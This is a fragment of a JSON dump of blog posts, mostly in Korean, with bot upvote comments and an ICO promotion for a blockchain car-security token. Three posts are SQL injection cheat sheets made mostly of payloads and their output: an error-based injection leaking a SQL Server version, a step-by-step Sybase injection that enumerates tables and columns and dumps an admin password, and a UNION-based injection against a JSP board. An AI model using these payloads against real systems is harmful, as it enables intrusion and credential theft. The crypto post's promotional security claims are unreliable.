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      "author": "cheetah",
      "body": "Hi! I am a robot. I just upvoted you! I found similar content that readers might be interested in:\nhttp://totoriver.egloos.com/3351022",
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      "author": "totoriverce",
      "body": "Syntax for SUBSTRING:\nSUBSTRING (value_expression ,start_expression ,length_expression )\n\nex) SELECT x = SUBSTRING('abcdef', 2, 3);\nx\n----------\nbcd\n\nvalue_expression \ncharacter, binary, text, ntext 또는 image식입니다. \n\nstart_expression\n반환된 문자가 시작되는 위치를 지정하는 정수 또는 bigint 식입니다. start_expression이 1보다 작으면 반환되는 식은 value_expression에 지정된 첫 번째 문자에서 시작합니다. 이 경우 반환되는 문자 수는 start_expression + length_expression – 1의 합 또는 0의 최대값입니다. start_expression이 값 식의 문자 수보다 크면 길이가 0인 식이 반환됩니다.\n\nlength_expression\n반환될 value_expression의 문자 수를 지정하는 양의 정수 또는 bigint 식입니다. length_expression이 음수이면 오류가 발생하면서 문이 종료됩니다. start_expression과 length_expression의 합계가 value_expression의 문자 수보다 크면 start_expression에서 시작하는 전체 값 식이 반환됩니다.\n\n===============================================================\nSyntax for CONVERT:\nCONVERT ( data_type [ ( length ) ] ,expression [ ,style ] )\n\nExpression \n모든 유효한 SQL Server Compact 3.5 식입니다. 자세한 내용은 식(SQL Server Compact)을 참조하십시오.\nStyle \ndatetime 또는 smalldatetime 데이터를 문자 데이터(nchar, nvarchar, char, varchar, nchar, nvarchar 데이터 형식)로 변환하는 데 사용되는 날짜 형식의 스타일 또는 float, real, money 또는 smallmoney 데이터를 문자 데이터(nchar, nvarchar, char, varchar, nchar, nvarchar 데이터 형식)로 변환하는 데 사용되는 문자열 형식의 스타일입니다. style이 NULL이면 결과도 NULL이 반환됩니다.\n\n===============================================================\nSyntax for ISNULL:\nISNULL ( check_expression , replacement_value )\n\ncheck_expression \nNULL 여부를 검사할 식입니다. check_expression은 모든 형식을 사용할 수 있습니다. \n\nreplacement_value \ncheck_expression이 NULL일 경우 반환할 식입니다. replacement_value는 암시적으로 check_expresssion 형식으로 변환할 수 있는 형식이어야 합니다. \n\n===============================================================\nSyntax for CAST:\nCAST ( expression AS data_type [ (length ) ])\n\nexpression\n유효한 식입니다.\n\ndata_type \n대상 시스템에서 제공하는 데이터 형식은 bigint입니다. 사용자 정의 데이터 형식은 사용할 수 없습니다. 사용 가능한 데이터 형식에 대한 자세한 내용은 데이터 형식을 참조하십시오.\n\nLength \nnchar, nvarchar, char, varchar, binary 또는 varbinary 데이터 형식의 옵션 매개 변수입니다.\n\n===============================================================\nGET /web/member_search.asp user_id=test' AND 8679=CONVERT(INT,(:jax:(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,100)):qkn:)) AND 'xSIA'='xSIA\n\n=>|8|80040e07|Syntax_error_converting_the_nvarchar_value_':jax:Microsoft_SQL_Server__2000_-_8.00.194_(Intel_X86)__Aug__6_2000_00:57:48__Copyright_(c)_1988-2000_M:qkn:'_to_a_column_of_data_type_int. 500\n출처:Transact-SQL SQL Inejction",
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      "title": "Transact-SQL SQL Inejction"
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      "author": "cheetah",
      "body": "Hi! I am a robot. I just upvoted you! I found similar content that readers might be interested in:\nhttps://cubeint.io/",
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      "parent_author": "totoriverce",
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      "permlink": "cheetah-re-totoriverceico-recommended-coin",
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      "author": "totoriverce",
      "body": "Cube Autonomous car Security Platform based on Blockchain\n\nAutonomous cars rely heavily on wireless communication techniques, such as vehicle-to-vehicle, navigation route information, GPS, and other driving data. Autonomous cars continuously communicate with various sites to remotely monitor their internal and outside states. These various network accesses increase the risk of malicious attacks on autonomous vehicles. Cube solves the problem of these autonomous vehicles’ security by using blockchain technologies, AI-based deep learning and quantum hash cryptography.\nIn the future, the $770 billion autonomous automotive market will see Cube as the first user of blockchain-based security. We will provide an autonomous vehicle security platform to companies such as automotive manufacturers, and related firms, such as Google and Uber.\n\n\nBlockchain Layer\n\nThe key to Blockchain is that technology ensures trust. CUBE uses block-chain technology to ensure the security of autonomous mobile networks. 
In the operation of autonomous vehicles, many IOTs provide information to autonomous vehicles. The attacker seeks to gain access to the network between an autonomous car and IoT or traffic center. In such instances, the hash of the infected binary differs from the hash included in the multisig transaction which is signed by the SW provider and the OEM. Thus, the vehicles can readily detect such an attack before installing the infected SW update. Distribution of a false update by claiming to be the OEM or SW update provider could be ceased since the overlay nodes are aware of the Public Key of the OEM and the SW update provider. Therefore, the attacker cannot claim to be either of these entities as it requires the private key associated with the Public Key of the relevant entities.\n\n\nAI Deep - Learning Layer\n\nThe second layer is the AI layer. This layer will be applied partly from 2019, and will be commercialized from 2020.At present, network security is a passive system that collects patches to prevent the reuse of methods used in past cases of hacking. 
Cube will train, in supervisor mode, using the past as a primary case to construct a defense system against future attacks by creating malicious attack scenarios that are likely to be made hundreds of millions of times. Cube’s intrusion detection system, using deep neural networks for vehicle network security, has two parts, a discriminative deep architecture and a generative deep architecture, depending on how the architectures are exploited. 
After the pre-training phase is complete, fine-tuning will be performed using the gradient descent method with supervised learning. While blockchain is used as the first and main security method, AI deep learning-based security will guarantee the double defense system.\n\nQuantum Hashing Cryptography Layer\n\nBlockchain has improved security by using hashes appropriately. However, there is a growing concern that as the performance of computers grows rapidly, hash cryptography can become a limitation. Cube develops quantum cryptography to prevent malicious attacks against autonomous vehicles. This Quantum Cryptography will contribute not only to the autonomous drive, but also to the overall upgrade of the entire Blockchain technology. This Quantum Hashing Cryptography Layer will be applied from 2022. 
Cube's quantum hash technology will provide an important opportunity to ensure a high level of security throughout the blockchain field using simple hash technology. Cube increases the level of security by using continuously changing quantum characteristics, The characteristics that the data receive depend on the angle of polarization; further, the characteristics of the data are destroyed at the moment of a malicious attack.\n\nWhite paper download link: https://cubeint.io/CUBEWhite_Paper-V1.pdf",
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      "permlink": "ico-recommended-coin",
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      "author": "totoriverce",
      "body": "# DBMS version\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select @@version))#\n=> Adaptive Server Enterprise/12.5.3/EBF 13325\n\n# current_db\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select db_name()))# // current_db\n=> testdb\n\n# Tables of current_db\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select min(name||0x3a||convert(char,id)) from testdb..sysobjects where type=0x55))#\n=> members:123456\n\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select min(name||0x3a||convert(char,id)) from testdb..sysobjects where type=0x55 and id not in(123456)))#\n=> temp:24680\n\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select min(name||0x3a||convert(char,id)) from testdb..sysobjects where type=0x55 and id not in(123456,24680)))#\n=> admin_member:74653\n\n# Columns of selected table(admin_member)\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select min(name||0x3a||convert(char,colid)) from testdb..syscolumns where id=74653)))#\n=> name:10\n\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select min(name||0x3a||convert(char,colid)) from testdb..syscolumns where id=74653 and colid not in(10))))#\n=> id:1\n\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select min(name||0x3a||convert(char,colid)) from testdb..syscolumns where id=74653 and colid not in(10,1)))#\n=> passwd:2\n\n# Data of select table(admin_member)\nhttp://test.com/index.php?idx=1 or 1=convert(numeric,(select min(name||0x3a||id||0x3a||passwd) from admin_member))#\n=> admin:1234\n\nmax(): 내림차순\nmin(): 오름차순\nconvert(데이터타입,value): value를 지정한 데이터 타입으로 변경\nsysobjects: One row for each table, view, procedure, rule, trigger default, log, and (in  tempdb only)\ntemporary object\nsyscolumns: One row for each column in a table or view, and for each parameter in a procedure\ntype 0x55 = 'U': 사용자가 생성한 테이블\nnot in(데이터): 데이터에 포함 된 것은 제외",
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      "permlink": "sybase-sql-injection",
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      "author": "totoriverce",
      "body": "UNION BASED SQL injection 기법은 한번의 공격으로 많은 데이터를 얻을 수 있다.\n하지만 연결 된 테이블의 개수가 10개 이상일 때, 경우의 수가 너무 많기 때문에 데이터 타입 알아내는 것이 쉽지 않다.\n차라리 Error BASED SQL injection 기법을 사용하는 것이 더 빠를 수도 있다.\n\nex) 컬럼이 18개 일 경우\nwww.test.com/board/list.jsp?idx=100') union all select 'a','b','c',name,'e','f','g','h','i',getdate(),getdate(),getdate(),getdate(),'n','o','p','q','z' from TEST..syscolumns where id=1257768507--\n\n데이터타입이 4가지라 가정해도 엄청난 경우의 수가 나올 수 있다.\n\n데이터 타입이 맞지 않을 경우의 에러들\ncom.sybase.jdbc2.jdbc.SybSQLException: Implicit conversion from datatype 'CHAR' to 'INT' is not allowed. Use the CONVERT function to run this query.\n\ncom.sybase.jdbc2.jdbc.SybSQLException: Implicit conversion from datatype 'TEXT' to 'VARCHAR' is not allowed. Use the CONVERT function to run this query.\n\ncom.sybase.jdbc2.jdbc.SybSQLException: Implicit conversion from datatype 'VARCHAR' to 'INT' is not allowed. Use the CONVERT function to run this query.\n\ncom.sybase.jdbc2.jdbc.SybSQLException: Syntax error during implicit conversion of VARCHAR value 's' to a DATETIME field.\n\n에러가 나지 않을때까지 삽질해야 우리가 원하는 것을 얻을 수 있다. ^________^\n\n출처:UNION BASED SQL injection의 양면성",
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      "title": "UNION BASED SQL injection의 양면성"
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